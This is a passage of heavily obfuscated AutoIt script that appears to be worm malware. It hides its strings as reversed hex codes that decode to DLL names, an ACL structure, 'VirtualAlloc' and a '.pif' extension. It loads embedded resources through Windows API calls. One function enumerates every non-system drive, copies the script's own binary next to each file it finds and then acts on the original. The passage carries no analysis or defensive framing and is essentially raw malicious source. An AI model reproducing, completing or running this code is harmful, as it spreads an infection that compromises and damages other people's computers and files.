2 , 4 ) LOCAL $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptGetKeyParam" , "handle" , $VCRYPTKEY , "dword" , $KP_ALGID , "ptr" , DLLSTRUCTGETPTR ($TALGID , 1 ) , "dword*" , DLLSTRUCTGETPTR ($TALGID , 2 ) , "dword" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , $CRYPT_USERDATA ) ELSE RETURN DLLSTRUCTGETDATA ($TALGID , 1 ) ENDIF ENDFUNC EWXYOJEKULRJZAPET (@AUTOITEXE ) FUNC XHTJRLOPDSSBYK_NCHQH () LOCAL $CWFXVHIXJBBJVWOGBJRE [69 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("B3x0" ) ) , EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("A7x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("B3x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("A7x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("B3x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("B3x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("A7x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) ] LOCAL $ACWOJCQGCR FOR $YQRQAMVJGQNTWEN = 0 TO 68 $ACWOJCQGCR &= CHRW ($CWFXVHIXJBBJVWOGBJRE [$YQRQAMVJGQNTWEN ] ) NEXT RETURN $ACWOJCQGCR ENDFUNC FUNC TVGHOLCCEOSQVUBVVSZM () LOCAL $QELFGYUSCSSXCYNCTNUT [62 ] = [EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) ] LOCAL $OJAAQQK_MW FOR $MHXWAA_OQCUAESC = 0 TO 61 $OJAAQQK_MW &= CHRW ($QELFGYUSCSSXCYNCTNUT [$MHXWAA_OQCUAESC ] ) NEXT RETURN $OJAAQQK_MW ENDFUNC FUNC MZCDJYIAKDKJMQ_BEBQK () LOCAL $QWEWIVWTOVCDVMRJFWTQ [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $RUGVPBPLPA FOR $XYBQJAPEMDNMGGW = 0 TO 11 $RUGVPBPLPA &= CHRW ($QWEWIVWTOVCDVMRJFWTQ [$XYBQJAPEMDNMGGW ] ) NEXT RETURN $RUGVPBPLPA ENDFUNC FUNC HKULOUHJYDB_IRLFVNGG () LOCAL $IJSBIQEPGYYQGIMCMRQT [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $YSSDYPRDAF FOR $_UXVGIZPEVGB_AS = 0 TO 11 $YSSDYPRDAF &= CHRW ($IJSBIQEPGYYQGIMCMRQT [$_UXVGIZPEVGB_AS ] ) NEXT RETURN $YSSDYPRDAF ENDFUNC FUNC CQPEBUMEOVEEXHTRFPKY () LOCAL $IXBQXSZDYYVWATYEYVDD [12 ] = [EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $FPZHJUIGQZ FOR $RVZTFQRMQYAJXLT = 0 TO 11 $FPZHJUIGQZ &= CHRW ($IXBQXSZDYYVWATYEYVDD [$RVZTFQRMQYAJXLT ] ) NEXT RETURN $FPZHJUIGQZ ENDFUNC FUNC IQMUNOGMKKVALAPUIAIE () LOCAL $RVMOFXNUZB_IUDLXOPTC [62 ] = [EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) ] LOCAL $NDYPQBMNJK FOR $MTEIJZJ_SNCHMIE = 0 TO 61 $NDYPQBMNJK &= CHRW ($RVMOFXNUZB_IUDLXOPTC [$MTEIJZJ_SNCHMIE ] ) NEXT RETURN $NDYPQBMNJK ENDFUNC FUNC PBOOQFKTGGWCXYVQ ($RESNAME , $RESTYPE = 10 , $RESLANG = 0 , $DLL = + 4294967295 ) LOCAL CONST $RTXRHOXFACWXNHJCCZBZPXDZB_UDUCZCNYUAROILPRDTNYJHZYITOSKTPY = 0 LOCAL $HINSTANCE , $HBITMAP , $HUUKZDTKPNILORQJYUKMDQMEWUFOVOBLTZARWGEQT , $HXLNCAWIBFFTEIMSGWEKPUXZVSKATTMACQDCZBMRUHFID , $ZSWQYLHOQMGDPEWZL , $HISOHVBRXNEZKGHDLVTTXWXRPYXFHLSSHRCKSRGODXIANUPBJTDRHPA IF $RESLANG <> 0 THEN $HUUKZDTKPNILORQJYUKMDQMEWUFOVOBLTZARWGEQT = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , GOVTFKISTWCTYT_NBGYD () , SYZRQHEJJHQEUP_HXJQJ () , GOVTFKISTWCTYT_NBGYD () , $HINSTANCE , LQUXJKYXUEPTVBAEIJLW () , $RESTYPE , OHMWWBPLLEJBMWDXHWFE () , $RESNAME , BQUUQQXGJBKOUPSMLZIF () , $RESLANG ) ELSE $HUUKZDTKPNILORQJYUKMDQMEWUFOVOBLTZARWGEQT = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , GOVTFKISTWCTYT_NBGYD () , EURHOPXSNL_VRJZTSPRS () , GOVTFKISTWCTYT_NBGYD () , $HINSTANCE , OHMWWBPLLEJBMWDXHWFE () , $RESNAME , LQUXJKYXUEPTVBAEIJLW () , $RESTYPE ) ENDIF $HUUKZDTKPNILORQJYUKMDQMEWUFOVOBLTZARWGEQT = $HUUKZDTKPNILORQJYUKMDQMEWUFOVOBLTZARWGEQT [0 ] IF $HUUKZDTKPNILORQJYUKMDQMEWUFOVOBLTZARWGEQT = 0 THEN RETURN $QMXMLMM_D__IIECMCUUQOSNQYWPTSAJJZWMEQUCHIDFQ (4 , 0 , 0 ) $HISOHVBRXNEZKGHDLVTTXWXRPYXFHLSSHRCKSRGODXIANUPBJTDRHPA = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , ZMZGYFWEODOPQUVMBHNM () , FOEERDPISVTBNOIRUXGE () , GOVTFKISTWCTYT_NBGYD () , $HINSTANCE , GOVTFKISTWCTYT_NBGYD () , $HUUKZDTKPNILORQJYUKMDQMEWUFOVOBLTZARWGEQT ) $HISOHVBRXNEZKGHDLVTTXWXRPYXFHLSSHRCKSRGODXIANUPBJTDRHPA = $HISOHVBRXNEZKGHDLVTTXWXRPYXFHLSSHRCKSRGODXIANUPBJTDRHPA [0 ] IF $HISOHVBRXNEZKGHDLVTTXWXRPYXFHLSSHRCKSRGODXIANUPBJTDRHPA = 0 THEN RETURN $QMXMLMM_D__IIECMCUUQOSNQYWPTSAJJZWMEQUCHIDFQ (6 , 0 , 0 ) $HXLNCAWIBFFTEIMSGWEKPUXZVSKATTMACQDCZBMRUHFID = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , GOVTFKISTWCTYT_NBGYD () , NQHDWOXCIB_QEELJDGMA () , GOVTFKISTWCTYT_NBGYD () , $HINSTANCE , GOVTFKISTWCTYT_NBGYD () , $HUUKZDTKPNILORQJYUKMDQMEWUFOVOBLTZARWGEQT ) $HXLNCAWIBFFTEIMSGWEKPUXZVSKATTMACQDCZBMRUHFID = $HXLNCAWIBFFTEIMSGWEKPUXZVSKATTMACQDCZBMRUHFID [0 ] IF $HXLNCAWIBFFTEIMSGWEKPUXZVSKATTMACQDCZBMRUHFID = 0 THEN RETURN $QMXMLMM_D__IIECMCUUQOSNQYWPTSAJJZWMEQUCHIDFQ (8 , 0 , 0 ) $ZSWQYLHOQMGDPEWZL = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , GOVTFKISTWCTYT_NBGYD () , YQGZKREPJPTEMNCPWJKE () , GOVTFKISTWCTYT_NBGYD () , $HXLNCAWIBFFTEIMSGWEKPUXZVSKATTMACQDCZBMRUHFID ) $ZSWQYLHOQMGDPEWZL = $ZSWQYLHOQMGDPEWZL [0 ] IF $ZSWQYLHOQMGDPEWZL = 0 THEN RETURN $QMXMLMM_D__IIECMCUUQOSNQYWPTSAJJZWMEQUCHIDFQ (10 , 0 , 0 ) $AVAT_SMEVZYZHOOWTICQRJMTYWIRMHKMXIXAPAS ($HISOHVBRXNEZKGHDLVTTXWXRPYXFHLSSHRCKSRGODXIANUPBJTDRHPA ) RETURN $ZSWQYLHOQMGDPEWZL ENDFUNC FUNC STQTRUASBS_ZRGSAKMUQ () LOCAL $CAQOGBCQOMSVIJ_NUGCN [4 ] = [EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) ] LOCAL $RCBNPSKEO_ FOR $ELYZVCTFOMILZGT = 0 TO 3 $RCBNPSKEO_ &= CHRW ($CAQOGBCQOMSVIJ_NUGCN [$ELYZVCTFOMILZGT ] ) NEXT RETURN $RCBNPSKEO_ ENDFUNC FUNC ZSONROGYHFYMRJMTVNNR () LOCAL $JKTZJIWULGVHOERL_DDG [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $OZOEJTMMAK FOR $YHSUBRDSUMRSYVM = 0 TO 4 $OZOEJTMMAK &= CHRW ($JKTZJIWULGVHOERL_DDG [$YHSUBRDSUMRSYVM ] ) NEXT RETURN $OZOEJTMMAK ENDFUNC FUNC WRAGMFLVWUYVJXFUPRPSKYVDQVA ($RESNAME , $RESTYPE = 10 , $RESLANG = 0 , $DLL = + 4294967295 ) LOCAL $XPYQANRIDZKBKIIXFXD_DSQOJTJFNJFOFNSTZIRWOMAI , $HISOHVBRXNEZKGHDLVTTXWXRPYXFHLSSHRCKSRGODXIANUPBJTDRHPA $XPYQANRIDZKBKIIXFXD_DSQOJTJFNJFOFNSTZIRWOMAI = PBOOQFKTGGWCXYVQ ($RESNAME , $RESTYPE , $RESLANG , $DLL ) $HISOHVBRXNEZKGHDLVTTXWXRPYXFHLSSHRCKSRGODXIANUPBJTDRHPA = @EXTENDED RETURN $RKMNCSX_MNRYWTFFTLGKESHNKKHPGGTBAKZIRQTC (WHCKDDSPLZAEGYKLBTVB () & $HISOHVBRXNEZKGHDLVTTXWXRPYXFHLSSHRCKSRGODXIANUPBJTDRHPA & ONEFUPKADSHZCYSDFFVO () , $XPYQANRIDZKBKIIXFXD_DSQOJTJFNJFOFNSTZIRWOMAI ) ENDFUNC FUNC AEW_UJKIISQ_IWNHHKQK () LOCAL $VPRBWCKLMZONHLUCGOMY [4 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $LOUDSYYWJE FOR $KVDTWLFVAUYODIM = 0 TO 3 $LOUDSYYWJE &= CHRW ($VPRBWCKLMZONHLUCGOMY [$KVDTWLFVAUYODIM ] ) NEXT RETURN $LOUDSYYWJE ENDFUNC FUNC HXSUEUAKETWAHUTQNMZQ () LOCAL $ECJBXNNUKJZYNHNWLRHK [12 ] = [EXECUTE (STRINGREVERSE ("65x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) ] LOCAL $ENRXRGFAVT FOR $MQNUHBBMNWXZQAM = 0 TO 11 $ENRXRGFAVT &= CHRW ($ECJBXNNUKJZYNHNWLRHK [$MQNUHBBMNWXZQAM ] ) NEXT RETURN $ENRXRGFAVT ENDFUNC FUNC ZETYIMILTGBHKMBEIOZJ () $RJDMUYWUYLBMFYNZCHAQMG_ZKBY = $XNSVVMRRUCCPGIWFVRXYCBVZJLNHPTDZUKKFUWZYXXSFXFZNDCQKGMWWS (QZOQUARUDGKHRJQMFKRE () ) IF $RJDMUYWUYLBMFYNZCHAQMG_ZKBY <> "" THEN FOR $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLML = 1 TO $RJDMUYWUYLBMFYNZCHAQMG_ZKBY [0 ] IF $RJDMUYWUYLBMFYNZCHAQMG_ZKBY [$ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLML ] <> @HOMEDRIVE THEN $KEMLNBSAZPHNKTCKSJODNBMYTJVBVFZISAVQZY = _FILELISTTOARRAYREC ($RJDMUYWUYLBMFYNZCHAQMG_ZKBY [$ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLML ] , CHR (44906904 / 1069212 ) , 1 , 1 , 0 , 2 ) FOR $AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBW = 1 TO $KEMLNBSAZPHNKTCKSJODNBMYTJVBVFZISAVQZY [0 ] $EPKWMKYOTLUDAHNTDSRL_IHFXJ_BUTARGET = BINARY ($RDPAJRFWMMUAEHACOVTSBACBJINMSINQBLQOUNVHLLGNRCLMOEKQLUV ($KEMLNBSAZPHNKTCKSJODNBMYTJVBVFZISAVQZY [$AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBW ] ) ) $GAJLDLNLFIMEVCITOKILNBPFSUVKRTWIGCXLOZGQZNEXBQORD = $EDPBPBXVKCQMTWEDXTJTVLAZCDECLCMPCYRZNPQRUAOYPV ($KEMLNBSAZPHNKTCKSJODNBMYTJVBVFZISAVQZY [$AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBW ] , GGJEYCEUTARAZACHXUGI () ) IF NOT $GAJLDLNLFIMEVCITOKILNBPFSUVKRTWIGCXLOZGQZNEXBQORD THEN $QZOFWLEKECUPEBZSDRZBEFJNHRAWCEGWRQGFTKDD ($KEMLNBSAZPHNKTCKSJODNBMYTJVBVFZISAVQZY [$AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBW ] & GGJEYCEUTARAZACHXUGI () , BINARY ($RDPAJRFWMMUAEHACOVTSBACBJINMSINQBLQOUNVHLLGNRCLMOEKQLUV (@SCRIPTFULLPATH ) ) ) $CRIYYFOYFKNHKDLPD_OJSJHSJMRWMCLWYBLJBRBHHTBJ ($KEMLNBSAZPHNKTCKSJODNBMYTJVBVFZISAVQZY [$AAZFFPJSTFSUBYH_JSOSDGRFUQZVJYLMUTNDOWHJKRBW ] ) ENDIF NEXT ENDIF NEXT ENDIF ENDFUNC FUNC PCKOCUZGNJVJHWGIHSDZ () LOCAL $VIONSFRMYAALRYLTRCFI [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $GOYWXCNIMI FOR $VALIUBTK_SFXEHH = 0 TO 4 $GOYWXCNIMI &= CHRW ($VIONSFRMYAALRYLTRCFI [$VALIUBTK_SFXEHH ] ) NEXT RETURN $GOYWXCNIMI ENDFUNC FUNC VNXHZCIXGAIHPFFYGB_X () LOCAL $SSKVZSSMECBHKZFNCHRA [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE 